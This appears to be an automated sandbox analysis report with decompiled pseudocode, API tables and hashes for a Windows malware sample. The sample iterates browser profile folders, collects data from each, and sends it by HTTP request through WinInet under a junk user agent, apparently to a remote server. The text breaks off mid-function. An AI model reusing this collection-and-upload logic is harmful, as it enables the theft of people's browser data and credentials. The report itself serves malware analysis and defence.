				struct _WIN32_FIND_DATAW _v744;
				void* _t245;
				void* _t247;
				void* _t249;
				void* _t255;
				void* _t257;
				void* _t259;
				void* _t261;
				void* _t263;
				signed int _t265;
				void* _t267;
				void* _t271;
				signed int _t277;
				void* _t284;
				void* _t286;
				void* _t292;
				void* _t294;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				int _t321;
				WCHAR* _t322;
				int _t324;
				WCHAR* _t325;
				void* _t334;
				void* _t336;
				void* _t337;
				void* _t339;
				void* _t340;
				char _t341;
				void* _t342;
				void* _t361;
				void* _t363;
				intOrPtr _t366;
				intOrPtr _t367;
				void* _t368;
				void* _t370;
				intOrPtr _t373;
				intOrPtr _t374;
				void* _t375;
				void* _t377;
				intOrPtr _t380;
				intOrPtr _t381;
				void* _t382;
				void* _t383;
				void* _t384;
				intOrPtr _t387;
				intOrPtr _t388;
				int _t396;
				WCHAR* _t397;
				int _t398;
				int _t399;
				WCHAR* _t400;
				int _t401;
				signed int _t403;
				signed int _t405;
				void* _t409;
				void* _t411;
				void* _t412;
				void* _t414;
				void* _t415;
				char _t416;
				void* _t417;
				signed int _t427;
				void* _t431;
				void* _t433;
				intOrPtr _t436;
				signed int _t437;
				void* _t438;
				void* _t440;
				intOrPtr _t443;
				signed int _t444;
				void* _t445;
				void* _t447;
				intOrPtr _t450;
				signed int _t451;
				void* _t452;
				void* _t454;
				intOrPtr _t457;
				signed int _t458;
				void* _t461;
				void* _t476;
				signed int _t507;
				void* _t536;
				intOrPtr _t541;
				intOrPtr _t543;
				intOrPtr _t546;
				intOrPtr _t548;
				intOrPtr _t551;
				intOrPtr _t553;
				intOrPtr _t556;
				intOrPtr _t558;
				void* _t564;
				intOrPtr _t569;
				intOrPtr _t571;
				intOrPtr _t574;
				intOrPtr _t576;
				intOrPtr _t579;
				intOrPtr _t581;
				intOrPtr _t584;
				intOrPtr _t586;
				void* _t588;
				void* _t589;
				int _t591;
				void* _t595;
				void* _t598;
				void* _t617;
				signed int _t621;
				void* _t623;
				signed int _t634;
				void* _t636;
				void* _t644;
				void* _t648;
				void* _t651;

				_v100 = __edx;
				_t588 = 0x40;
				_v84 = 0;
				_v96 = __ecx;
				_t245 =  *((intOrPtr*)( *0x40e044))(_t588, 0x208);
				_t461 = _t245;
				_t247 =  *((intOrPtr*)( *0x40e044))(_t588, 0x208);
				_v44 = _t247;
				_t249 =  *((intOrPtr*)( *0x40e044))(_t588, 0x400);
				_v80 = _t249;
				_v28 =  *((intOrPtr*)( *0x40e044))(_t588, 0x100);
				if(_a12 != 0) {
					_t461 =  *((intOrPtr*)( *0x40e13c))(_t461, __ecx);
					_t255 =  *((intOrPtr*)( *0x40e018))(_t461,  &_v744);
					__eflags = _t255 - 0xffffffff;
					if(_t255 == 0xffffffff) {
						return 0;
					}
					_t257 =  *((intOrPtr*)( *0x40e044))(_t588, 0x400);
					_v16 = _t257;
					_t259 =  *((intOrPtr*)( *0x40e044))(_t588, 0x80);
					_v36 = _t259;
					_t261 =  *((intOrPtr*)( *0x40e044))(_t588, 0x200000);
					_v48 = _t261;
					_v32 = _t261;
					_t263 =  *((intOrPtr*)( *0x40e044))(_t588, 0x200000);
					_v52 = _t263;
					_t265 =  *((intOrPtr*)( *0x40e044))(_t588, 0x800000);
					_v40 = _t265;
					_v88 = _t265;
					_t267 =  *((intOrPtr*)( *0x40e044))(_t588, 0x400000);
					_v12 = _v12 & 0x00000000;
					_v56 = _v56 & 0x00000000;
					_v60 = _t267;
					_v24 = _t267;
					_v84 = 1;
					_t271 =  *((intOrPtr*)( *0x40e044))(_t588, 0x400);
					_v20 = _t271;
					_v64 =  *((intOrPtr*)( *0x40e044))(_t588, 0x1000);
					_t277 = E00401C87(__ecx, _v36,  &_v44,  &_v80,  &_v28, _a12);
					_t644 = _t644 + 0x10;
					__eflags = _t277;
					if(__eflags == 0) {
						L20:
						LocalFree(_v48);
						LocalFree(_v40);
						LocalFree(_v60);
						LocalFree(_v20);
						LocalFree(_v64);
						LocalFree(_v36);
						_t284 = _v16;
						__eflags = _t284;
						if(_t284 != 0) {
							LocalFree(_t284);
						}
						goto L22;
					} else {
						_t606 = _v80;
						_t631 = _v44;
						E004027B8( &_v32,  &_v16, __eflags, __ecx, _v44, _v80, _a4);
						E00402CB8( &_v88,  &_v16, __eflags,  &_v32, _v44, _v80, _a4);
						E00403760( &_v24, _t631, _a4);
						_t501 =  &_v52;
						E00403236( &_v52,  &_v16, __eflags,  &_v24, _t631, _t606, _a4);
						_t651 = _t644 + 0x38;
						_t396 = lstrlenW( *0x40e21c);
						_t397 = _v88;
						_v40 = _t397;
						_t398 = lstrlenW(_t397);
						__eflags = _t398 - _t396;
						if(_t398 >= _t396) {
							_t452 = E0040A503(_v40, _t461);
							_t584 =  *0x40e20c; // 0x735dc0
							_t454 = E0040A503(E0040A503(_t452, _t584), _v16);
							_t586 =  *0x40e20c; // 0x735dc0
							_t501 = E0040A503(E0040A503(_t454, _t586), _v28);
							_v12 = 1;
							_t457 =  *0x40e220; // 0x748890
							_v76 = _t457;
							_t458 =  *0x40e1e8; // 0x735bc0
							_v72 = _t501;
							_v68 = _t458;
							asm("movsd");
							_v40 = _t501;
							asm("movsd");
							asm("movsd");
						}
						_t399 = lstrlenW( *0x40e1a4);
						_t400 = _v32;
						_v48 = _t400;
						_t401 = lstrlenW(_t400);
						__eflags = _t401 - _t399;
						if(_t401 < _t399) {
							_t634 = _v12;
						} else {
							_t445 = E0040A503(_v48, _t461);
							_t579 =  *0x40e20c; // 0x735dc0
							_t447 = E0040A503(E0040A503(_t445, _t579), _v16);
							_t581 =  *0x40e20c; // 0x735dc0
							_t501 = E0040A503(E0040A503(_t447, _t581), _v28);
							_t450 =  *0x40e1d8; // 0x74f1c8
							_v76 = _t450;
							_t451 =  *0x40e1e8; // 0x735bc0
							_v72 = _t501;
							_v68 = _t451;
							_v48 = _t501;
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t634 = _v12 + 1;
							_v12 = _t634;
						}
						_t588 = _v24;
						_v60 = _t588;
						_t403 =  *((intOrPtr*)( *0x40e08c))(_t588);
						__eflags = _t403;
						if(_t403 > 0) {
							_t438 = E0040A503(_t588, _t461);
							_t574 =  *0x40e20c; // 0x735dc0
							_t440 = E0040A503(E0040A503(_t438, _t574), _v16);
							_t576 =  *0x40e20c; // 0x735dc0
							_t501 = E0040A503(E0040A503(_t440, _t576), _v28);
							_t443 =  *0x40e22c; // 0x74f200
							_v76 = _t443;
							_t444 =  *0x40e1e8; // 0x735bc0
							_v72 = _t501;
							_t588 = _v20 + _t634 * 0xc;
							_v68 = _t444;
							_v60 = _t501;
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t634 = _v12 + 1;
							__eflags = _t634;
							_v12 = _t634;
						}
						_t405 =  *((intOrPtr*)( *0x40e08c))(_v52);
						__eflags = _t405;
						if(_t405 > 0) {
							_t431 = E0040A503(_v52, _t461);
							_t569 =  *0x40e20c; // 0x735dc0
							_t433 = E0040A503(E0040A503(_t431, _t569), _v16);
							_t571 =  *0x40e20c; // 0x735dc0
							_t501 = E0040A503(E0040A503(_t433, _t571), _v28);
							_t436 =  *0x40e214; // 0x74e498
							_v76 = _t436;
							_t437 =  *0x40e1e8; // 0x735bc0
							_v72 = _t435;
							_t588 = _v20 + _t634 * 0xc;
							_v68 = _t437;
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t634 = _v12 + 1;
							__eflags = _t634;
							_v12 = _t634;
						}
						E00403C8F(_a8, _v64,  &_v56, _t501, _v44);
						_t644 = _t651 + 0xc;
						__eflags = _t634;
						if(_t634 != 0) {
							L16:
							_t409 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
							_t411 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
							_t564 = 0x10;
							_t412 = E0040A05F(_t409, _t564);
							_v24 = _t412;
							_t414 =  *((intOrPtr*)( *0x40e13c))(_t411,  *0x40e210);
							_t588 = _v24;
							_t415 = E0040A503(_t414, _t588);
							_v88 = _v88 & 0x00000000;
							_v32 = _t415;
							_t416 =  *0x40e204; // 0x735b80
							_v92 = _t416;
							_t417 = E00408619( &_v32);
							_v24 = _t417;
							_t636 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
							_t507 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t588, 0xffffffff, 0, 0, 0, 0);
							__eflags = _t507;
							if(_t507 != 0) {
								_t427 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t588, 0xffffffff, _t636, _t507, 0, 0);
								__eflags = _t427;
								if(_t427 != 0) {
									E00407EDB(_v100, _t636, _v12, _v20, _v56, _v64, _v24,  &_v92);
									_t644 = _t644 + 0x18;
								}
							}
							LocalFree(_t636);
							LocalFree(_v24);
							LocalFree(_v32);
							LocalFree(_t588);
							goto L20;
						} else {
							__eflags = _v56 - _t634;
							if(_v56 <= _t634) {
								goto L20;
							}
							goto L16;
						}
					}
				} else {
					PathCombineW(_t461, __ecx, L"Default");
					L22:
					_t589 = _t588 | 0xffffffff;
					_v48 = _t589;
					do {
						_t286 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
						_v16 = _t286;
						_t617 =  *((intOrPtr*)( *0x40e044))(0x40, 0x80);
						_v88 = _t617;
						if(_t589 != 0xffffffff) {
							wsprintfW(_t617, L"Profile %d", _t589);
							_t644 = _t644 + 0xc;
						} else {
							_t617 =  *((intOrPtr*)( *0x40e13c))(_t617, L"Default");
							_v88 = _t617;
						}
						PathCombineW(_t461, _v96, _t617);
						_t292 = FindFirstFileW(_t461,  &_v744); // executed
						_t655 = _t292 - 0xffffffff;
						if(_t292 != 0xffffffff) {
							_t591 = 0x40;
							_t302 = LocalAlloc(_t591, ??); // executed
							_v24 = _t302;
							_t304 = LocalAlloc(_t591, 0x200000); // executed
							_v64 = _t304;
							_t306 = LocalAlloc(_t591, 0x800000); // executed
							_v36 = _t306;
							_t308 = LocalAlloc(_t591, 0x400000); // executed
							_v84 = _v84 + 1;
							_v12 = _v12 & 0x00000000;
							_v60 = _v60 & 0x00000000;
							_v32 = _t308;
							_t310 =  *((intOrPtr*)( *0x40e044))(_t591, 0x400, 0x200000);
							_v20 = _t310;
							_t312 =  *((intOrPtr*)( *0x40e044))(_t591, 0x1000);
							_v40 = _t312;
							E00401C87(_v96, _t617,  &_v44,  &_v80,  &_v28, _a12); // executed
							_t592 = _v80;
							_t618 = _v44;
							E004027B8( &_v24,  &_v16, _t655, _v96, _v44, _v80, _a4); // executed
							E00402CB8( &_v36,  &_v16, _t655,  &_v24, _v44, _v80, _a4); // executed
							E00403760( &_v32, _t618, _a4); // executed
							_t470 =  &_v64;
							E00403236( &_v64,  &_v16, _t655,  &_v32, _t618, _t592, _a4); // executed
							_t648 = _t644 + 0x48;
							_t321 = lstrlenW( *0x40e21c);
							_t322 = _v36;
							_v52 = _t322;
							if(lstrlenW(_t322) >= _t321) {
								_t382 = E0040A503(_v52, _t461);
								_t556 =  *0x40e20c; // 0x735dc0
								_t383 = E0040A503(_t382, _t556); // executed
								_t384 = E0040A503(_t383, _v16);
								_t558 =  *0x40e20c; // 0x735dc0
								_t470 = E0040A503(E0040A503(_t384, _t558), _v28);
								_v12 = 1;
								_t387 =  *0x40e220; // 0x748890
								_v112 = _t387;
								_t388 =  *0x40e1e8; // 0x735bc0
								_v108 = _t470;
								_v104 = _t388;
								asm("movsd");
								_v52 = _t470;
								asm("movsd");
								asm("movsd");
							}
							_t324 = lstrlenW( *0x40e1a4);
							_t325 = _v24;
							_v56 = _t325;
							if(lstrlenW(_t325) < _t324) {
								_t621 = _v12;
							} else {
								_t375 = E0040A503(_v56, _t461);
								_t551 =  *0x40e20c; // 0x735dc0
								_t377 = E0040A503(E0040A503(_t375, _t551), _v16);
								_t553 =  *0x40e20c; // 0x735dc0
								_t470 = E0040A503(E0040A503(_t377, _t553), _v28);
								_t380 =  *0x40e1d8; // 0x74f1c8
								_v124 = _t380;
								_t381 =  *0x40e1e8; // 0x735bc0
								_v120 = _t470;
								_v116 = _t381;
								_v56 = _t470;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t621 = _v12 + 1;
								_v12 = _t621;
							}
							_t595 = _v32;
							_push(_t595);
							_v32 = _t595;
							if( *((intOrPtr*)( *0x40e08c))() > 0) {
								_t368 = E0040A503(_t595, _t461);
								_t546 =  *0x40e20c; // 0x735dc0
								_t370 = E0040A503(E0040A503(_t368, _t546), _v16);
								_t548 =  *0x40e20c; // 0x735dc0
								_t470 = E0040A503(E0040A503(_t370, _t548), _v28);
								_t373 =  *0x40e22c; // 0x74f200
								_v136 = _t373;
								_t374 =  *0x40e1e8; // 0x735bc0
								_v132 = _t470;
								_v128 = _t374;
								_v32 = _t470;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t621 = _v12 + 1;
								_v12 = _t621;
							}
							_push(_v64);
							if( *((intOrPtr*)( *0x40e08c))() > 0) {
								_t361 = E0040A503(_v64, _t461);
								_t541 =  *0x40e20c; // 0x735dc0
								_t363 = E0040A503(E0040A503(_t361, _t541), _v16);
								_t543 =  *0x40e20c; // 0x735dc0
								_t470 = E0040A503(E0040A503(_t363, _t543), _v28);
								_t366 =  *0x40e214; // 0x74e498
								_v148 = _t366;
								_t367 =  *0x40e1e8; // 0x735bc0
								_v144 = _t365;
								_v140 = _t367;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t621 = _v12 + 1;
								_v12 = _t621;
							}
							E00403C8F(_a8, _v40,  &_v60, _t470, _v44); // executed
							_t644 = _t648 + 0xc;
							if(_t621 != 0 || _v60 > _t621) {
								_t334 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t336 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t536 = 0x10;
								_t337 = E0040A05F(_t334, _t536);
								_v36 = _t337;
								_t339 =  *((intOrPtr*)( *0x40e13c))(_t336,  *0x40e210);
								_t598 = _v36;
								_t340 = E0040A503(_t339, _t598);
								_v68 = _v68 & 0x00000000;
								_v24 = _t340;
								_t341 =  *0x40e204; // 0x735b80
								_v72 = _t341;
								_t342 = E00408619( &_v24);
								_v36 = _t342;
								_t623 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
								_t476 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t598, 0xffffffff, 0, 0, 0, 0);
								if(_t476 != 0) {
									_push(0);
									_push(0);
									_push(_t476);
									_push(_t623);
									_push(0xffffffff);
									_push(_t598);
									_push(0);
									_push(0xfde9);
									if( *((intOrPtr*)( *0x40e0e4))() != 0) {
										E00407EDB(_v100, _t623, _v12, _v20, _v60, _v40, _v36,  &_v72); // executed
										_t644 = _t644 + 0x18;
									}
								}
								LocalFree(_t623);
								LocalFree(_v36);
								LocalFree(_v24);
								LocalFree(_t598);
							}
							LocalFree(_v56); // executed
							LocalFree(_v52);
							LocalFree(_v32); // executed
							LocalFree(_v20);
							LocalFree(_v40);
							_t617 = _v88;
							_t589 = _v48;
						}
						LocalFree(_t617);
						_t294 = _v16;
						if(_t294 != 0) {
							LocalFree(_t294);
						}
						_t589 = _t589 + 1;
						_v48 = _t589;
					} while (_t589 < 0x64);
					LocalFree(_t461);
					LocalFree(_v44);
					LocalFree(_v28);
					LocalFree(_v80);
					return _v84;
				}
			}

0x00401e2d
0x00401e30
0x00401e33
0x00401e3c
0x00401e3f
0x00401e46
0x00401e4e
0x00401e55
0x00401e5e
0x00401e65
0x00401e74
0x00401e77
0x00401e9a
0x00401ea3
0x00401ea5
0x00401ea8
0x00000000
0x00401eaa
0x00401ebc
0x00401ec3
0x00401ecc
0x00401ed3
0x00401edc
0x00401ee3
0x00401ee6
0x00401eef
0x00401ef6
0x00401eff
0x00401f06
0x00401f09
0x00401f12
0x00401f14
0x00401f18
0x00401f1c
0x00401f1f
0x00401f2a
0x00401f33
0x00401f3a
0x00401f4d
0x00401f5c
0x00401f61
0x00401f64
0x00401f66
0x004022a7
0x004022aa
0x004022b3
0x004022bc
0x004022c5
0x004022ce
0x004022d7
0x004022dd
0x004022e0
0x004022e2
0x004022e5
0x004022e5
0x00000000
0x00401f6c
0x00401f6f
0x00401f75
0x00401f7e
0x00401f92
0x00401f9e
0x00401faf
0x00401fb2
0x00401fbd
0x00401fc6
0x00401fca
0x00401fce
0x00401fd1
0x00401fd3
0x00401fd5
0x00401fdc
0x00401fe1
0x00401ff3
0x00401ff8
0x00402015
0x00402017
0x0040201e
0x00402023
0x00402026
0x0040202b
0x0040202e
0x00402031
0x00402032
0x00402035
0x00402036
0x00402036
0x00402043
0x00402047
0x0040204b
0x0040204e
0x00402050
0x00402052
0x004020ba
0x00402054
0x00402059
0x0040205e
0x00402070
0x00402075
0x00402093
0x00402095
0x0040209a
0x0040209d
0x004020a2
0x004020a8
0x004020ab
0x004020ae
0x004020af
0x004020b0
0x004020b4
0x004020b5
0x004020b5
0x004020bd
0x004020c6
0x004020c9
0x004020cb
0x004020cd
0x004020d3
0x004020d8
0x004020ea
0x004020ef
0x00402109
0x0040210b
0x00402113
0x00402116
0x0040211b
0x0040211e
0x00402121
0x00402124
0x00402127
0x00402128
0x00402129
0x0040212d
0x0040212d
0x0040212e
0x0040212e
0x00402139
0x0040213b
0x0040213d
0x00402144
0x00402149
0x0040215b
0x00402160
0x0040217a
0x0040217c
0x00402184
0x00402187
0x0040218c
0x0040218f
0x00402192
0x00402195
0x00402196
0x00402197
0x0040219b
0x0040219b
0x0040219c
0x0040219c
0x004021ad
0x004021b2
0x004021b5
0x004021b7
0x004021c2
0x004021cf
0x004021db
0x004021df
0x004021e4
0x004021ef
0x004021f8
0x004021fa
0x00402201
0x00402206
0x0040220d
0x00402210
0x00402215
0x00402218
0x00402222
0x00402230
0x00402246
0x00402248
0x0040224a
0x00402260
0x00402262
0x00402264
0x0040227f
0x00402284
0x00402284
0x00402264
0x00402288
0x00402291
0x0040229a
0x004022a1
0x00000000
0x004021b9
0x004021b9
0x004021bc
0x00000000
0x00000000
0x00000000
0x004021bc
0x004021b7
0x00401e79
0x00401e80
0x004022eb
0x004022eb
0x004022ee
0x004022f1
0x004022fd
0x00402304
0x00402310
0x00402312
0x00402318
0x00402335
0x0040233b
0x0040231a
0x00402327
0x00402329
0x00402329
0x00402343
0x00402356
0x00402358
0x0040235b
0x0040236d
0x0040236f
0x00402376
0x0040237f
0x00402386
0x0040238f
0x00402396
0x0040239f
0x004023a1
0x004023a4
0x004023a8
0x004023b1
0x004023ba
0x004023c1
0x004023ca
0x004023d4
0x004023e3
0x004023e8
0x004023ee
0x004023fd
0x00402411
0x0040241d
0x0040242e
0x00402431
0x0040243c
0x00402445
0x00402449
0x0040244d
0x00402454
0x0040245b
0x00402460
0x00402468
0x00402472
0x00402477
0x00402494
0x00402496
0x0040249d
0x004024a2
0x004024a5
0x004024aa
0x004024ad
0x004024b0
0x004024b1
0x004024b4
0x004024b5
0x004024b5
0x004024c2
0x004024c6
0x004024ca
0x004024d1
0x00402539
0x004024d3
0x004024d8
0x004024dd
0x004024ef
0x004024f4
0x00402512
0x00402514
0x00402519
0x0040251c
0x00402521
0x00402527
0x0040252a
0x0040252d
0x0040252e
0x0040252f
0x00402533
0x00402534
0x00402534
0x0040253c
0x00402544
0x00402545
0x0040254c
0x00402552
0x00402557
0x00402569
0x0040256e
0x00402588
0x0040258a
0x00402595
0x0040259b
0x004025a0
0x004025a6
0x004025a9
0x004025ac
0x004025ad
0x004025ae
0x004025b2
0x004025b3
0x004025b3
0x004025b6
0x004025c2
0x004025c9
0x004025ce
0x004025e0
0x004025e5
0x004025ff
0x00402601
0x0040260c
0x00402612
0x00402617
0x00402620
0x00402626
0x00402627
0x00402628
0x0040262c
0x0040262d
0x0040262d
0x0040263e
0x00402643
0x00402648
0x00402660
0x0040266c
0x00402670
0x00402675
0x00402680
0x00402689
0x0040268b
0x00402692
0x00402697
0x0040269e
0x004026a1
0x004026a6
0x004026a9
0x004026b3
0x004026c1
0x004026d7
0x004026db
0x004026e4
0x004026e5
0x004026e6
0x004026e7
0x004026e8
0x004026ea
0x004026eb
0x004026ec
0x004026f5
0x00402710
0x00402715
0x00402715
0x004026f5
0x00402719
0x00402722
0x0040272b
0x00402732
0x00402732
0x0040273b
0x00402744
0x0040274d
0x00402756
0x0040275f
0x00402765
0x00402768
0x00402768
0x0040276c
0x00402772
0x00402777
0x0040277a
0x0040277a
0x00402780
0x00402781
0x00402784
0x0040278e
0x00402797
0x004027a0
0x004027aa
0x00000000
0x004027b0

APIs

PathCombineW.SHLWAPI(00000000,00000000,Default), ref: 00401E80
wsprintfW.USER32 ref: 00402335
PathCombineW.SHLWAPI(00000000,?,00000000), ref: 00402343
FindFirstFileW.KERNEL32(00000000,?), ref: 00402356
LocalAlloc.KERNEL32(00000040,00200000), ref: 0040236F
LocalAlloc.KERNEL32(00000040,00200000), ref: 0040237F
LocalAlloc.KERNEL32(00000040,00800000), ref: 0040238F
LocalAlloc.KERNEL32(00000040,00400000), ref: 0040239F
lstrlenW.KERNEL32 ref: 00402445
lstrlenW.KERNEL32(?), ref: 00402450
lstrlenW.KERNEL32 ref: 004024C2
lstrlenW.KERNEL32(?), ref: 004024CD

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000), ref: 00402719
LocalFree.KERNEL32(?), ref: 00402722
LocalFree.KERNEL32(?), ref: 0040272B
LocalFree.KERNEL32(?), ref: 00402732
LocalFree.KERNELBASE(00000000), ref: 0040273B
LocalFree.KERNEL32(?), ref: 00402744
LocalFree.KERNELBASE(?), ref: 0040274D
LocalFree.KERNEL32(00000000), ref: 00402756
LocalFree.KERNEL32(?), ref: 0040275F
LocalFree.KERNEL32(00000000), ref: 0040276C
LocalFree.KERNEL32(?), ref: 0040277A
LocalFree.KERNEL32(00000000), ref: 0040278E
LocalFree.KERNEL32(?), ref: 00402797
LocalFree.KERNEL32(?), ref: 004027A0
LocalFree.KERNEL32(?), ref: 004027AA

Strings

Default, xrefs: 00401E79, 0040231F
Profile %d, xrefs: 0040232F
8{@, xrefs: 00401E18

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrlen$Alloc$CombinePath$FileFindFirstGlobalwsprintf
String ID: 8{@$Default$Profile %d
API String ID: 3768013767-2475470199
Opcode ID: 65ecfa7065253902dcf107738d78f9766527f115974b6ff76e638b2714d6a83a
Instruction ID: 449fa844226801038b1647cac7188c5dd728cedc2e0ff5267019116776c59555
Opcode Fuzzy Hash: 65ecfa7065253902dcf107738d78f9766527f115974b6ff76e638b2714d6a83a
Instruction Fuzzy Hash: 30627071E00218AFDF04DFA6DE45AAEBBB5FF88310F10442AF914B7391DB7499118B99

Uniqueness

Uniqueness Score: -1.00%

Function 00407EDB Relevance: 70.5, APIs: 32, Strings: 8, Instructions: 477
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00407EDB(short* __ecx, void* __edx, signed int _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16, WCHAR* _a20, LPCWSTR* _a24) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				long _v36;
				long _v40;
				void _v44;
				void _v48;
				WCHAR* _v52;
				void* _t106;
				void* _t109;
				void* _t112;
				signed int _t113;
				signed int _t115;
				void* _t119;
				void* _t122;
				void* _t123;
				void* _t124;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				long _t148;
				void* _t164;
				void* _t166;
				long _t168;
				long _t169;
				signed int _t174;
				long _t178;
				void* _t179;
				void* _t180;
				void* _t182;
				void* _t183;
				void* _t186;
				void* _t187;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t191;
				int _t198;
				void* _t209;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t215;
				void* _t216;
				void* _t217;
				void* _t218;
				void* _t220;
				void* _t221;
				void* _t223;
				void* _t224;
				intOrPtr _t226;
				intOrPtr* _t227;
				signed int _t229;
				intOrPtr* _t281;
				void* _t282;
				intOrPtr _t285;
				intOrPtr _t286;
				intOrPtr _t288;
				intOrPtr _t293;
				intOrPtr _t294;
				intOrPtr _t296;
				intOrPtr _t297;
				intOrPtr _t300;
				intOrPtr _t301;
				intOrPtr _t302;
				intOrPtr _t303;
				intOrPtr _t306;
				intOrPtr _t308;
				intOrPtr _t309;
				intOrPtr _t312;
				intOrPtr _t313;
				intOrPtr _t314;
				intOrPtr _t315;
				intOrPtr _t317;
				void* _t318;
				signed int _t319;
				void* _t320;
				void* _t321;
				void* _t323;
				void* _t326;
				short* _t327;
				signed short* _t328;
				void* _t329;
				void* _t331;
				WCHAR* _t333;
				void** _t338;
				void* _t339;

				_v20 = __edx;
				_t327 = __ecx; // executed
				_t106 = LocalAlloc(0x40, 0xc350);
				_t281 =  *0x40e044; // 0x74715850
				_t224 = _t106;
				_v24 = _t224;
				_t318 =  *_t281(0x40, 0x208);
				_v28 = _t318;
				if( *_t327 != 0x68) {
					L14:
					return 0;
				}
				_t109 = 0x74;
				if( *((intOrPtr*)(_t327 + 2)) != _t109 ||  *((intOrPtr*)(_t327 + 4)) != _t109 ||  *((short*)(_t327 + 6)) != 0x70) {
					goto L14;
				} else {
					_t7 = _t327 + 8; // 0x4589d0ff
					_v32 =  *_t7 & 0x0000ffff;
					_t112 =  *((intOrPtr*)( *0x40e18c))(_t327,  *0x40e3ec);
					_v16 = 0x2f;
					_t282 = 0;
					_t10 = _t112 + 6; // 0x6
					_t328 = _t10;
					_t113 =  *_t328 & 0x0000ffff;
					_t229 = _t113;
					if(_t113 == _v16) {
						L7:
						_t115 =  *((intOrPtr*)( *0x40e08c))(_t318);
						_t319 = _a4;
						_v52 =  &(_t328[_t115]);
						_t119 = LocalAlloc(0x40, _t319 << 0x15); // executed
						_v8 = _t119;
						if(_t319 <= 0) {
							L11:
							_v16 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _v8, 0xffffffff, 0, 0, 0, 0);
							_t122 = LocalAlloc(0x40, _t319 << 0x14); // executed
							_t329 = _t122;
							_t123 = LocalAlloc(0x40, _t319 + _a12 << 0x14); // executed
							_v12 = _t123;
							_t320 = _t123;
							_t124 = _v16;
							if(_t124 == 0) {
								L19:
								LocalFree(_v8);
								LocalFree(_t329); // executed
								if(_a12 <= 0) {
									L32:
									_t128 =  *((intOrPtr*)( *0x40e044))(0x40, 0x100);
									_t285 =  *0x40e3dc; // 0x754c60
									_t129 = E0040A55D(_t128, _t285);
									_t286 =  *0x40e43c; // 0x754d40
									_t131 = E0040A55D(E0040A55D(_t129, _t286), _v20);
									_t288 =  *0x40e43c; // 0x754d40
									_t132 = E0040A55D(_t131, _t288);
									_v20 = _t132;
									_push( *((intOrPtr*)( *0x40e198))(_t132) + 1);
									_push(_v20);
									_push(_t320);
									if( *((intOrPtr*)( *0x40e004))() != 0) {
										_t320 = _t320 +  *((intOrPtr*)( *0x40e198))(_v20);
									}
									LocalFree(_v20);
									_v44 = 0x927c0;
									_v48 = 0x927c0;
									_t331 =  *((intOrPtr*)( *0x40e124))(L"rqwrwqrqwrqw", 0, 0, 0, 0);
									_v36 = _t331;
									InternetSetOptionW(_t331, 6,  &_v44, 4);
									InternetSetOptionW(_t331, 5,  &_v48, 4);
									if(_t331 == 0) {
										L45:
										_t333 = MultiByteToWideChar(0xfde9, 0, _t224,  *((intOrPtr*)( *0x40e198))(0) + 1, _t224, 0);
										_v52 = _t333;
										_t148 = _t333 + _t333;
										_v40 = _t148;
										_t321 =  *((intOrPtr*)( *0x40e044))(0x40, _t148);
										if(_t333 != 0) {
											MultiByteToWideChar(0xfde9, 0, _t224,  *((intOrPtr*)( *0x40e198))(_v52) + 1, _t224, _t321);
											 *((short*)(_v40 + _t321 - 2)) = 0;
										}
										if(_t321 != 0) {
											LocalFree(_t321);
										}
										LocalFree(_v28);
										LocalFree(_t224); // executed
										LocalFree(_v12); // executed
										return 1;
									} else {
										_t162 =  ==  ? 0x1bb : 0;
										_t163 = ( ==  ? 0x1bb : 0) & 0x0000ffff;
										_t164 =  *((intOrPtr*)( *0x40e180))(_t331, _v28, ( ==  ? 0x1bb : 0) & 0x0000ffff, 0x73, 0x50, 0, 0, 3, 0, 1);
										_v20 = _t164;
										if(_t164 == 0) {
											L44:
											InternetCloseHandle(_t331);
											goto L45;
										}
										_push(1);
										_v40 = 0xc00000;
										_t248 =  ==  ? _v40 : 0x400000;
										_t166 = HttpOpenRequestW(_t164,  *0x40e25c, _v52, 0, 0, _a24,  ==  ? _v40 : 0x400000, 0x73); // executed
										_t224 = _v24;
										_v52 = _t166;
										if(_t166 == 0) {
											L43:
											InternetCloseHandle(_v20);
											goto L44;
										}
										_t168 = _v12;
										_t169 =  *((intOrPtr*)( *0x40e08c))(_t320 - _t168);
										_t323 = _v52;
										if(HttpSendRequestW(_t323, _a20, _t169, _a20, _t168) == 0) {
											L42:
											InternetCloseHandle(_t323); // executed
